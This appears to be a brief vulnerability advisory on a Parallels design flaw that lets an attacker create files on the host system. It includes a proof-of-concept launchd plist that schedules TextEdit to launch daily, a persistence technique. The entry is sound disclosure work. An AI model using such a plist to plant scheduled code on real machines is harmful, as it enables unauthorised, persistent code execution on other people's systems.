source: https://www.securityfocus.com/bid/22597/info

Parallels is prone to an arbitrary code-execution vulnerability because of a design flaw in the affected application.

An attacker can exploit this issue to create files in the host operating system. This could result in the execution of code. 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://
www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>Label</key>
        <string>com.apple.test</string>
        <key>LowPriorityIO</key>
        <true/>
        <key>Nice</key>
        <integer>1</integer>
        <key>ProgramArguments</key>
        <array>
                <string>/Applications/TextEdit.app/Contents/MacOS/TextEdit</string>
                <string>daily</string>
        </array>
        <key>StartCalendarInterval</key>
        <dict>
                <key>Hour</key>
                <integer>18</integer>
                <key>Minute</key>
                <integer>0</integer>
        </dict>
</dict>
</plist>